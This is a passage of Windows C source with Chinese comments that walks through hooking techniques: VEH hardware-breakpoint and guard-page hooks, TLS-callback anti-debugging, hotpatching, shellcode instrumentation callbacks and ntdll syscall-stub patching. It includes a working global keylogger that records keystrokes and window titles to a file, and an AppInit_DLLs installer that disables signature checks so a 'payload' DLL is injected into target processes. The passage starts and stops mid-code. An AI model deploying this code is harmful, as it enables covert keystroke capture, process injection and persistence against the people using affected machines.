    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;
    
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD pid = GetCurrentProcessId();
    DWORD tid = GetCurrentThreadId();
    BOOL success = TRUE;
    
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread;
                if (te.th32ThreadID == tid) {
                    // 当前线程需要特殊处理
                    hThread = GetCurrentThread();
                } else {
                    hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, 
                                        FALSE, te.th32ThreadID);
                    if (!hThread) continue;
                    SuspendThread(hThread);
                }
                
                if (!SetThreadHwbp(hThread, drIndex, address))
                    success = FALSE;
                
                if (te.th32ThreadID != tid) {
                    ResumeThread(hThread);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return success;
}

// 安装 VEH Hook
BOOL InstallVehHook(PVOID targetAddr, PVOID hookFunc) {
    if (g_vehHookCount >= MAX_VEH_HOOKS) return FALSE;
    
    // 注册 VEH 处理器(只需一次)
    if (!g_vehHandle) {
        g_vehHandle = AddVectoredExceptionHandler(1, VehExceptionHandler);
        if (!g_vehHandle) return FALSE;
    }
    
    int drIndex = g_vehHookCount;
    g_vehHooks[drIndex].targetAddress = targetAddr;
    g_vehHooks[drIndex].hookFunction = hookFunc;
    g_vehHooks[drIndex].drIndex = drIndex;
    g_vehHookCount++;
    
    // 对所有线程设置硬件断点
    return SetAllThreadsHwbp(drIndex, targetAddr);
}

// 卸载 VEH Hook
BOOL RemoveVehHook(int drIndex) {
    if (drIndex >= g_vehHookCount) return FALSE;
    
    // 清除所有线程的硬件断点
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD pid = GetCurrentProcessId();
    
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
                                           FALSE, te.th32ThreadID);
                if (hThread) {
                    SuspendThread(hThread);
                    ClearThreadHwbp(hThread, drIndex);
                    ResumeThread(hThread);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return TRUE;
}

// 处理新线程:新线程创建后也需要设置 DR
// 方案:Hook NtCreateThread/NtResumeThread 或使用 TLS Callback
#include <windows.h>

typedef struct _GUARD_HOOK {
    PVOID targetFunction;
    PVOID hookFunction;
    PVOID pageBase;          // 目标函数所在页的基地址
    BOOL active;
} GUARD_HOOK;

GUARD_HOOK g_guardHook = {0};

LONG CALLBACK GuardPageHandler(PEXCEPTION_POINTERS pExInfo) {
    DWORD exCode = pExInfo->ExceptionRecord->ExceptionCode;
    
    if (exCode == STATUS_GUARD_PAGE_VIOLATION) {
        PVOID faultAddr = pExInfo->ExceptionRecord->ExceptionAddress;
        
        // 检查是否是我们监控的函数
        if (faultAddr == g_guardHook.targetFunction) {
            // 劫持执行流
            pExInfo->ContextRecord->Rip = (DWORD64)g_guardHook.hookFunction;
        }
        
        // 设置单步标志 TF,让 CPU 执行完一条指令后触发 EXCEPTION_SINGLE_STEP
        // 目的:在单步执行后重新设置 PAGE_GUARD(因为触发一次后 PAGE_GUARD 自动移除)
        pExInfo->ContextRecord->EFlags |= 0x100;
        
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    
    if (exCode == EXCEPTION_SINGLE_STEP && g_guardHook.active) {
        // 单步执行完毕,重新设置 PAGE_GUARD
        DWORD oldProtect;
        VirtualProtect(g_guardHook.pageBase, PAGE_SIZE, 
                      PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    
    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL InstallGuardHook(PVOID target, PVOID hook) {
    g_guardHook.targetFunction = target;
    g_guardHook.hookFunction = hook;
    g_guardHook.pageBase = (PVOID)((ULONG_PTR)target & ~0xFFF); // 页对齐
    g_guardHook.active = TRUE;
    
    AddVectoredExceptionHandler(1, GuardPageHandler);
    
    DWORD oldProtect;
    return VirtualProtect(g_guardHook.pageBase, PAGE_SIZE, 
                         PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
}
#include <windows.h>

// 前置声明
void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved);

// TLS 目录声明(编译器会把这个放入 PE 的 TLS Directory)
#ifdef _WIN64
#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma const_seg(".CRT$XLB")
EXTERN_C const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma const_seg()
#else
#pragma comment(linker, "/INCLUDE:__tls_used")
#pragma data_seg(".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma data_seg()
#endif

// 我们的 Hook 逻辑
typedef int (WINAPI* fnMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
fnMessageBoxW RealMessageBoxW = NULL;

int WINAPI FakeMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
    // 修改消息内容
    return RealMessageBoxW(hWnd, L"HOOKED!", lpCaption, uType);
}

void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    if (Reason == DLL_PROCESS_ATTACH) {
        // 此时程序的 main/WinMain 还没执行
        // 各种初始化也还没完成,但 kernel32/ntdll 已经加载
        
        // 安装 IAT Hook(或任何其他 Hook)
        HMODULE hUser32 = LoadLibraryW(L"user32.dll");
        if (hUser32) {
            RealMessageBoxW = (fnMessageBoxW)GetProcAddress(hUser32, "MessageBoxW");
            // 这里可以安装 Inline Hook 等...
            InstallHookEarly();
        }
    }
}

// TLS Callback 的高级用法:反调试
void NTAPI AntiDebugTlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    if (Reason == DLL_PROCESS_ATTACH) {
        // 在最早期检测调试器
        BOOL debuggerPresent = FALSE;
        CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
        if (IsDebuggerPresent() || debuggerPresent) {
            // 调试器存在,可以退出或做反制
            ExitProcess(0);
        }
        
        // 清除 PEB.BeingDebugged(如果被调试但 IsDebuggerPresent 被绕过)
        // NtCurrentPeb()->BeingDebugged = 0; 
    }
    
    if (Reason == DLL_THREAD_ATTACH) {
        // 每个新线程创建时都会触发
        // 可以在这里给新线程设置硬件断点(VEH Hook 的完美搭配)
        SetThreadHwbp(GetCurrentThread(), 0, g_hookTarget);
    }
}
#include <windows.h>

typedef struct _HOTPATCH_HOOK {
    PVOID pTarget;
    PVOID pDetour;
    BYTE savedPreamble[7];   // -5 到 +2 的原始字节
    BOOL installed;
} HOTPATCH_HOOK;

// 检查函数是否支持 Hotpatch
BOOL IsHotpatchable(PVOID pFunction) {
    BYTE* p = (BYTE*)pFunction;
    
    // 检查函数头:mov edi, edi (8B FF) 或 mov ecx, ecx (8B C9)
    if (p[0] != 0x8B || (p[1] != 0xFF && p[1] != 0xC9))
        return FALSE;
    
    // 检查前面 5 字节是否为 NOP 或 INT 3
    for (int i = 1; i <= 5; i++) {
        if (p[-i] != 0x90 && p[-i] != 0xCC)
            return FALSE;
    }
    return TRUE;
}

BOOL InstallHotpatchHook(HOTPATCH_HOOK* hook) {
    BYTE* pFunc = (BYTE*)hook->pTarget;
    
    if (!IsHotpatchable(hook->pTarget))
        return FALSE;
    
    // 备份原始字节
    memcpy(hook->savedPreamble, pFunc - 5, 7);
    
    DWORD oldProtect;
    VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
    
    // 在 -5 位置写入 5 字节近跳转到 Hook 函数
    // E9 [rel32] → jmp hook_function
    pFunc[-5] = 0xE9;
    *(int32_t*)(pFunc - 4) = (int32_t)((BYTE*)hook->pDetour - pFunc);
    
    // 在 +0 位置把 mov edi,edi 改为短跳转到 -5
    // EB F9 → jmp short -5 (相对于 +2 跳到 -5,偏移 = -7 = 0xF9)
    *(WORD*)pFunc = 0xF9EB;
    
    VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);
    
    hook->installed = TRUE;
    return TRUE;
}

BOOL RemoveHotpatchHook(HOTPATCH_HOOK* hook) {
    if (!hook->installed) return FALSE;
    
    BYTE* pFunc = (BYTE*)hook->pTarget;
    DWORD oldProtect;
    
    VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pFunc - 5, hook->savedPreamble, 7);
    VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);
    
    hook->installed = FALSE;
    return TRUE;
}

// 使用示例
HOTPATCH_HOOK hpHook = {0};
hpHook.pTarget = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileW");
hpHook.pDetour = MyHookedCreateFileW;
InstallHotpatchHook(&hpHook);
#include <windows.h>
#include <winternl.h>

// 未导出的结构体
typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION {
    ULONG Version;    // 0 for x64, 1 for x86
    ULONG Reserved;
    PVOID Callback;
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;

// NtSetInformationProcess 原型
typedef NTSTATUS(NTAPI* fnNtSetInformationProcess)(
    HANDLE ProcessHandle,
    ULONG ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength
);

#define ProcessInstrumentationCallback 40

// 全局变量
volatile LONG g_insideCallback = 0;  // 防止递归
PVOID g_callbackTarget = NULL;       // 我们要监控的函数

// Instrumentation Callback 入口点(必须是裸函数,手动管理栈)
// 进入时的寄存器状态:
//   R10 = 原始返回地址(syscall 返回后本来要去的地方)
//   RAX = syscall 返回值
//   所有其他寄存器保持 syscall 返回时的状态
extern void InstrumentationCallbackEntry(void);

// 汇编实现(MASM 语法,保存为 .asm 文件)
// InstrumentationCallbackEntry PROC
//     ; 保存所有寄存器(必须,因为我们要调用 C 函数)
//     push rax
//     push rcx
//     push rdx
//     push rbx
//     push rbp
//     push rsi
//     push rdi
//     push r8
//     push r9
//     push r10
//     push r11
//     push r12
//     push r13
//     push r14
//     push r15
//     pushfq
//     sub rsp, 28h          ; Shadow space for calls
//     
//     ; 防止递归(Callback 内部的 syscall 也会触发回调)
//     lock inc dword ptr [g_insideCallback]
//     cmp dword ptr [g_insideCallback], 1
//     jne skip_processing
//     
//     ; 调用 C 处理函数
//     ; RCX = 原始返回地址 (R10)
//     ; RDX = syscall 返回值 (RAX)
//     mov rcx, [rsp + 28h + 8*15 + 8 + 8*5]  ; R10 from saved regs
//     mov rdx, [rsp + 28h + 8*15 + 8]          ; RAX from saved regs
//     call InstrumentationCallbackHandler
//     
// skip_processing:
//     lock dec dword ptr [g_insideCallback]
//     
//     add rsp, 28h
//     popfq
//     pop r15
//     pop r14
//     pop r13
//     pop r12
//     pop r11
//     pop r10
//     pop r9
//     pop r8
//     pop rdi
//     pop rsi
//     pop rbp
//     pop rbx
//     pop rdx
//     pop rcx
//     pop rax
//     
//     ; 跳转到原始返回地址
//     jmp r10
// InstrumentationCallbackEntry ENDP

// 简化版 C 实现(使用内联汇编替代,仅适用于 MSVC x86 或需要单独 .asm)
// 对于纯 C 项目,可以使用 shellcode 方式:
BYTE g_callbackShellcode[] = {
    0x50,                               // push rax
    0x51,                               // push rcx
    0x52,                               // push rdx
    0x53,                               // push rbx
    0x55,                               // push rbp
    0x56,                               // push rsi
    0x57,                               // push rdi
    0x41, 0x50,                         // push r8
    0x41, 0x51,                         // push r9
    0x41, 0x52,                         // push r10
    0x41, 0x53,                         // push r11
    0x41, 0x54,                         // push r12
    0x41, 0x55,                         // push r13
    0x41, 0x56,                         // push r14
    0x41, 0x57,                         // push r15
    0x9C,                               // pushfq
    0x48, 0x83, 0xEC, 0x28,             // sub rsp, 0x28
    0x49, 0x89, 0xD1,                   // mov r9, rdx (保存)
    0x4C, 0x89, 0xD1,                   // mov rcx, r10 (返回地址)
    0x48, 0x89, 0xC2,                   // mov rdx, rax (syscall 返回值)
    0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, // call [rip+0] → 这里需要 patch 为实际地址
    // ... 恢复寄存器 ...
    0x48, 0x83, 0xC4, 0x28,             // add rsp, 0x28
    0x9D,                               // popfq
    0x41, 0x5F,                         // pop r15
    0x41, 0x5E,                         // pop r14
    0x41, 0x5D,                         // pop r13
    0x41, 0x5C,                         // pop r12
    0x41, 0x5B,                         // pop r11
    0x41, 0x5A,                         // pop r10
    0x41, 0x59,                         // pop r9
    0x41, 0x58,                         // pop r8
    0x5F,                               // pop rdi
    0x5E,                               // pop rsi
    0x5D,                               // pop rbp
    0x5B,                               // pop rbx
    0x5A,                               // pop rdx
    0x59,                               // pop rcx
    0x58,                               // pop rax
    0x41, 0xFF, 0xE2                    // jmp r10
};

// C 处理函数
void InstrumentationCallbackHandler(PVOID returnAddress, ULONG64 syscallReturnValue) {
    // returnAddress 是内核返回后要去的用户态地址
    // 通过 returnAddress 可以判断是哪个 syscall(返回到 ntdll 的哪个 stub)
    
    // 例:监控 NtReadVirtualMemory 的返回
    // if (returnAddress == NtReadVirtualMemory_RetAddr) { ... }
    
    // 也可以修改 RAX 来篡改 syscall 返回值
}

// 安装 Instrumentation Callback
BOOL InstallInstrumentationCallback() {
    fnNtSetInformationProcess NtSetInformationProcess = 
        (fnNtSetInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");
    
    if (!NtSetInformationProcess) return FALSE;
    
    // 分配可执行内存给 shellcode
    PVOID pCallback = VirtualAlloc(NULL, sizeof(g_callbackShellcode), 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pCallback, g_callbackShellcode, sizeof(g_callbackShellcode));
    
    // Patch shellcode 中的函数指针
    // (实际使用时需要正确计算偏移)
    
    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
        .Version = 0,  // x64
        .Reserved = 0,
        .Callback = pCallback
    };
    
    NTSTATUS status = NtSetInformationProcess(
        GetCurrentProcess(),
        ProcessInstrumentationCallback,
        &info,
        sizeof(info)
    );
    
    return NT_SUCCESS(status);
}

// 移除 Instrumentation Callback
BOOL RemoveInstrumentationCallback() {
    fnNtSetInformationProcess NtSetInformationProcess = 
        (fnNtSetInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");
    
    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
        .Version = 0,
        .Reserved = 0,
        .Callback = NULL  // 设为 NULL 即可移除
    };
    
    NTSTATUS status = NtSetInformationProcess(
        GetCurrentProcess(),
        ProcessInstrumentationCallback,
        &info,
        sizeof(info)
    );
    
    return NT_SUCCESS(status);
}
#include <windows.h>

// ntdll 中标准的 syscall stub (x64):
// 4C 8B D1          mov r10, rcx
// B8 XX 00 00 00    mov eax, SSN
// F6 04 25 08 03 FE 7F 01   test byte ptr [SharedUserData+0x308], 1
// 75 03             jne +3 (使用 int 2e)
// 0F 05             syscall
// C3                ret
// CD 2E             int 2e
// C3                ret

// 方案 1:修改 SSN(让调用者不知情地调用另一个 syscall)
BOOL PatchSsn(const char* funcName, DWORD newSsn) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!pStub) return FALSE;
    
    // 验证 stub 结构
    if (pStub[0] != 0x4C || pStub[1] != 0x8B || pStub[2] != 0xD1 || pStub[3] != 0xB8)
        return FALSE;
    
    // pStub[4..7] 是 SSN
    DWORD oldProtect;
    VirtualProtect(pStub + 4, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(DWORD*)(pStub + 4) = newSsn;
    VirtualProtect(pStub + 4, 4, oldProtect, &oldProtect);
    return TRUE;
}

// 方案 2:替换 syscall 为 int 2e(触发不同的内核入口,可被内核 Hook 拦截)
BOOL PatchSyscallToInt2e(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!pStub) return FALSE;
    
    // 找到 syscall 指令 (0F 05)
    for (int i = 0; i < 32; i++) {
        if (pStub[i] == 0x0F && pStub[i+1] == 0x05) {
            DWORD oldProtect;
            VirtualProtect(pStub + i, 2, PAGE_EXECUTE_READWRITE, &oldProtect);
            pStub[i] = 0xCD;     // int
            pStub[i+1] = 0x2E;   // 0x2E
            VirtualProtect(pStub + i, 2, oldProtect, &oldProtect);
            return TRUE;
        }
    }
    return FALSE;
}

// 方案 3:完整替换 syscall stub 为自定义跳转
BOOL PatchSyscallStub(const char* funcName, PVOID hookFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!pStub) return FALSE;
    
    // 将整个 stub 替换为跳转到我们的函数
    // 原始 stub 约 20 字节,足够放一个 14 字节绝对跳转
    DWORD oldProtect;
    VirtualProtect(pStub, 14, PAGE_EXECUTE_READWRITE, &oldProtect);
    
    pStub[0] = 0xFF;
    pStub[1] = 0x25;
    *(DWORD*)(pStub + 2) = 0;
    *(UINT64*)(pStub + 6) = (UINT64)hookFunc;
    
    VirtualProtect(pStub, 14, oldProtect, &oldProtect);
    return TRUE;
}

// 方案 4:Syscall 重映射(将 ntdll 从磁盘重新映射一份干净副本)
// 用于对抗:检测 ntdll 是否被修改
HMODULE RemapCleanNtdll() {
    // 从磁盘读取干净的 ntdll
    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", 
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;
    
    HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    PVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    
    CloseHandle(hMapping);
    CloseHandle(hFile);
    
    // 现在 pClean 是一份干净的 ntdll 映射
    // 可以从这里获取真实的 syscall 编号
    return (HMODULE)pClean;
}

// 从干净 ntdll 提取 SSN(用于直接 syscall)
DWORD GetCleanSsn(HMODULE hCleanNtdll, const char* funcName) {
    BYTE* pFunc = (BYTE*)GetProcAddress(hCleanNtdll, funcName);
    if (!pFunc) return -1;
    if (pFunc[0] == 0x4C && pFunc[3] == 0xB8) {
        return *(DWORD*)(pFunc + 4);
    }
    return -1;
}
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "user32.lib")

typedef struct {
    HHOOK hKeyboard;
    HHOOK hMouse;
    HHOOK hCbt;
    FILE* logFile;
    BOOL running;
} HOOK_ENGINE;

static HOOK_ENGINE g_engine = {0};

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
        const char* action = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) ? "DOWN" : "UP";
        
        char keyName[64] = {0};
        GetKeyNameTextA((LONG)(MapVirtualKeyA(kb->vkCode, MAPVK_VK_TO_VSC) << 16), keyName, sizeof(keyName));
        
        DWORD pid = 0;
        HWND fg = GetForegroundWindow();
        GetWindowThreadProcessId(fg, &pid);
        
        char windowTitle[256] = {0};
        GetWindowTextA(fg, windowTitle, sizeof(windowTitle));
        
        fprintf(g_engine.logFile, "[%s] VK=0x%02X Scan=0x%02X Key=%s PID=%lu Window=%s flags=0x%08X\n",
            action, kb->vkCode, kb->scanCode, keyName, pid, windowTitle, kb->flags);
        fflush(g_engine.logFile);
        
        if (kb->flags & LLKHF_INJECTED) {
            // 标记注入的键盘事件(来自 SendInput/keybd_event)
        }
    }
    return CallNextHookEx(g_engine.hKeyboard, nCode, wParam, lParam);
}

LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        MSLLHOOKSTRUCT* ms = (MSLLHOOKSTRUCT*)lParam;
        
        const char* event = "UNKNOWN";
        switch (wParam) {
            case WM_LBUTTONDOWN: event = "LDOWN"; break;
            case WM_LBUTTONUP:   event = "LUP"; break;
            case WM_RBUTTONDOWN: event = "RDOWN"; break;
            case WM_RBUTTONUP:   event = "RUP"; break;
            case WM_MOUSEMOVE:   return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
            case WM_MOUSEWHEEL:  event = "WHEEL"; break;
        }
        
        HWND target = WindowFromPoint(ms->pt);
        char className[128] = {0};
        GetClassNameA(target, className, sizeof(className));
        
        fprintf(g_engine.logFile, "[MOUSE] %s (%d,%d) Target=%s flags=0x%08X\n",
            event, ms->pt.x, ms->pt.y, className, ms->flags);
        fflush(g_engine.logFile);
    }
    return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
}

LRESULT CALLBACK CbtProc(int nCode, WPARAM wParam, LPARAM lParam) {
    switch (nCode) {
        case HCBT_CREATEWND: {
            CBT_CREATEWNDA* cbt = (CBT_CREATEWNDA*)lParam;
            if (cbt->lpcs->lpszName) {
                fprintf(g_engine.logFile, "[CBT] CREATE hwnd=%p class=%s title=%s\n",
                    (void*)(ULONG_PTR)wParam,
                    cbt->lpcs->lpszClass ? (const char*)cbt->lpcs->lpszClass : "?",
                    cbt->lpcs->lpszName ? cbt->lpcs->lpszName : "?");
            }
            break;
        }
        case HCBT_DESTROYWND:
            fprintf(g_engine.logFile, "[CBT] DESTROY hwnd=%p\n", (void*)(ULONG_PTR)wParam);
            break;
        case HCBT_ACTIVATE:
            fprintf(g_engine.logFile, "[CBT] ACTIVATE hwnd=%p\n", (void*)(ULONG_PTR)wParam);
            break;
    }
    fflush(g_engine.logFile);
    return CallNextHookEx(g_engine.hCbt, nCode, wParam, lParam);
}

BOOL InstallGlobalHooks() {
    g_engine.logFile = fopen("C:\\hook_log.txt", "a");
    if (!g_engine.logFile) return FALSE;
    
    g_engine.hKeyboard = SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandleA(NULL), 0);
    g_engine.hMouse = SetWindowsHookExA(WH_MOUSE_LL, LowLevelMouseProc, GetModuleHandleA(NULL), 0);
    g_engine.hCbt = SetWindowsHookExA(WH_CBT, CbtProc, GetModuleHandleA(NULL), 0);
    
    if (!g_engine.hKeyboard && !g_engine.hMouse && !g_engine.hCbt) {
        fclose(g_engine.logFile);
        return FALSE;
    }
    
    g_engine.running = TRUE;
    return TRUE;
}

void UninstallGlobalHooks() {
    if (g_engine.hKeyboard) { UnhookWindowsHookEx(g_engine.hKeyboard); g_engine.hKeyboard = NULL; }
    if (g_engine.hMouse)    { UnhookWindowsHookEx(g_engine.hMouse);    g_engine.hMouse = NULL; }
    if (g_engine.hCbt)      { UnhookWindowsHookEx(g_engine.hCbt);      g_engine.hCbt = NULL; }
    if (g_engine.logFile)   { fclose(g_engine.logFile); g_engine.logFile = NULL; }
    g_engine.running = FALSE;
}

// 全局钩子 DLL 版本(注入到目标进程)
// hookdll.c - 编译为 hookdll.dll
#ifdef BUILD_HOOK_DLL

#pragma data_seg(".shared")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")

HINSTANCE g_hInst = NULL;

LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        MSG* msg = (MSG*)lParam;
        // DLL 已注入目标进程,可以在此执行任意代码
        // 例如:Hook 目标进程的 API、读取内存、修改行为等
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

__declspec(dllexport) BOOL StartHook() {
    g_hHook = SetWindowsHookExA(WH_GETMESSAGE, GetMsgProc, g_hInst, 0);
    return g_hHook != NULL;
}

__declspec(dllexport) void StopHook() {
    if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        g_hInst = hModule;
        DisableThreadLibraryCalls(hModule);
    }
    return TRUE;
}
#endif

int main() {
    if (!InstallGlobalHooks()) {
        printf("Failed to install hooks\n");
        return 1;
    }
    printf("Global hooks installed. Press Ctrl+C to exit.\n");
    
    MSG msg;
    while (GetMessageA(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
    }
    
    UninstallGlobalHooks();
    return 0;
}
#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")

#define APPINIT_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
#define APPINIT_KEY_WOW64 L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows"

typedef struct {
    WCHAR dllPath[MAX_PATH];
    BOOL is64bit;
    BOOL requireSigned;
} APPINIT_CONFIG;

BOOL EnableAppInitDlls(const WCHAR* dllPath, BOOL enable) {
    HKEY hKey;
    LPCWSTR keyPath = APPINIT_KEY;
    
    LONG ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hKey);
    if (ret != ERROR_SUCCESS) return FALSE;
    
    if (enable) {
        // 设置 LoadAppInit_DLLs = 1
        DWORD loadFlag = 1;
        RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
        
        // 读取现有值,追加新 DLL 路径
        WCHAR existing[4096] = {0};
        DWORD existingSize = sizeof(existing);
        RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);
        
        if (wcsstr(existing, dllPath) == NULL) {
            if (wcslen(existing) > 0) wcscat_s(existing, 4096, L" ");
            wcscat_s(existing, 4096, dllPath);
        }
        
        RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));
        
        // 禁用签名要求(仅测试环境)
        DWORD signFlag = 0;
        RegSetValueExW(hKey, L"RequireSignedAppInit_DLLs", 0, REG_DWORD, (BYTE*)&signFlag, sizeof(DWORD));
    } else {
        // 从现有值中移除指定 DLL
        WCHAR existing[4096] = {0};
        DWORD existingSize = sizeof(existing);
        RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);
        
        WCHAR* found = wcsstr(existing, dllPath);
        if (found) {
            size_t dllLen = wcslen(dllPath);
            // 移除路径和前后的空格
            WCHAR* afterDll = found + dllLen;
            if (*afterDll == L' ') afterDll++;
            wmemmove(found, afterDll, wcslen(afterDll) + 1);
            // 清理尾部空格
            size_t len = wcslen(existing);
            while (len > 0 && existing[len-1] == L' ') existing[--len] = L'\0';
        }
        
        RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));
        
        if (wcslen(existing) == 0) {
            DWORD loadFlag = 0;
            RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
        }
    }
    
    RegCloseKey(hKey);
    return TRUE;
}

// 被注入的 DLL 代码
#ifdef BUILD_PAYLOAD_DLL
#include <tlhelp32.h>

static BOOL g_initialized = FALSE;
static CHAR g_targetProcess[MAX_PATH] = "target.exe";

void PayloadMain() {
    char currentExe[MAX_PATH];
    GetModuleFileNameA(NULL, currentExe, MAX_PATH);
    char* exeName = strrchr(currentExe, '\\');
    exeName = exeName ? exeName + 1 : currentExe;
    
    if (_stricmp(exeName, g_targetProcess) != 0) return;
    
    // 仅在目标进程中执行 payload
    // 示例:IAT Hook + 行为修改
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    // ... 执行具体 Hook 逻辑
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hModule);
            if (!g_initialized) {
                g_initialized = TRUE;
                PayloadMain();
            }
            break;
    }
    return TRUE;
}
#endif

// 安装器
int wmain(int argc, WCHAR* argv[]) {
    if (argc < 3) {
        wprintf(L"Usage: appinit_installer.exe <install|uninstall> <dll_path>\n");
        return 1;
    }
    
    BOOL install = (_wcsicmp(argv[1], L"install") == 0);
    
    if (!PathFileExistsW(argv[2]) && install) {
        wprintf(L"DLL not found: %s\n", argv[2]);
        return 1;
    }
    
    if (EnableAppInitDlls(argv[2], install)) {
        wprintf(L"%s successful: %s\n", install ? L"Install" : L"Uninstall", argv[2]);
        
        // 同时处理 WOW64 路径(32位进程在64位系统上)
        BOOL isWow64 = FALSE;
        IsWow64Process(GetCurrentProcess(), &isWow64);
        if (!isWow64) {
            HKEY hKey;
            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, APPINIT_KEY_WOW64, 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
                DWORD loadFlag = install ? 1 : 0;
                RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
